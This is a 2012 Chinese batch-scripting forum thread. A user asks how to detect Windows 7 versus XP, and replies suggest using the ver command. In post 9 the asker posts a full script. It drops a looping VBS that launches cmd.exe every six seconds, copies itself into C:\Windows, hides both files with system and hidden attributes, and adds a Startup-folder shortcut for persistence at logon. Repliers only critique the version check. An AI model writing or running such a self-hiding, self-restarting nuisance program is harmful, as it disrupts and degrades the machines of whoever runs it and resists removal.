Board logo

标题: [其他] [已解决]批处理怎样判断出电脑是win7还是XP? [打印本页]

作者: 秋水    时间: 2012-9-24 23:34     标题: [已解决]批处理怎样判断出电脑是win7还是XP?

我先想判断出是什么系统(7/XP),然后如果是7 就执行A,如果是XP就执行B。 怎么写。。
作者: forfiles    时间: 2012-9-24 23:58

在两个系统里面分别执行一下ver命令看看结果
作者: garyng    时间: 2012-9-25 07:23

查注册表 或用ver命令
作者: wosliming    时间: 2012-9-25 07:52

直接往%system%下写文件,能写进去就是xp,。提示错误的就是win7 呗,这个在批处理很好实现
作者: forfiles    时间: 2012-9-25 10:20

回复 4# wosliming


    Win2003和Vista咋办?
作者: forfiles    时间: 2012-9-25 10:20

回复 3# garyng


    查哪个注册表键值呢?
作者: 秋水    时间: 2012-9-25 13:51

呃。。。    是我没说清楚么。。主要是后面的。。 如果是7 就执行A,如果是XP就执行B。
作者: bingxing8000    时间: 2012-9-25 14:34

  1. ver|find /i "5.1" && goto :xp
  2. ver|find /i "6.1" && goto :win7
复制代码

作者: 秋水    时间: 2012-9-25 17:39

回复 8# bingxing8000
  1. @echo off
  2. echo do >>C:\Windows\a.vbs
  3. echo wscript.sleep 6000 >>C:\Windows\a.vbs
  4. echo createobject("Wscript.Shell").run "cmd.exe /c " >>C:\Windows\a.vbs
  5. echo loop >>C:\Windows\a.vbs
  6. ver|find /i "5.1" && goto :xp
  7. ver|find /i "6.1" && goto :win7
  8. :win7
  9. copy %0 "C:\Windows\b.bat"
  10. ATTRIB +R +A +S +H "C:\Windows\a.vbs"
  11. ATTRIB +R +A +S +H "C:\Windows\b.bat"
  12. ATTRIB +R +A +S +H "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  13. echo [InternetShortcut]>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  14. echo URL="C:\Windows\b.bat">>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  15. echo IconIndex=99>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  16. echo IconFile=%SystemRoot%\system32\SHELL32.dll>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  17. start C:\Windows\a.vbs
  18. exit
  19. :xp
  20. copy %0 "C:\Windows\b.bat"
  21. ATTRIB +R +A +S +H "C:\Windows\a.vbs"
  22. ATTRIB +R +A +S +H "C:\Windows\b.bat"
  23. ATTRIB +R +A +S +H "%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  24. echo [InternetShortcut]>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  25. echo URL="C:\Windows\b.bat">>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  26. echo IconIndex=99>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  27. echo IconFile=%SystemRoot%\system32\SHELL32.dll>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  28. start C:\Windows\a.vbs
  29. exit
复制代码
这样写还有什么问题么??
作者: bingxing8000    时间: 2012-9-25 18:21

回复 9# 秋水


    你自己测试一下不就知道了
作者: forfiles    时间: 2012-9-25 22:47

回复 9# 秋水


    有。对于既不是win7也不是xp的系统,你的代码仍然会去执行:win7
作者: 秋风·飞扬    时间: 2012-9-30 10:25

根据IPCOFNIG也可以分别XP




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2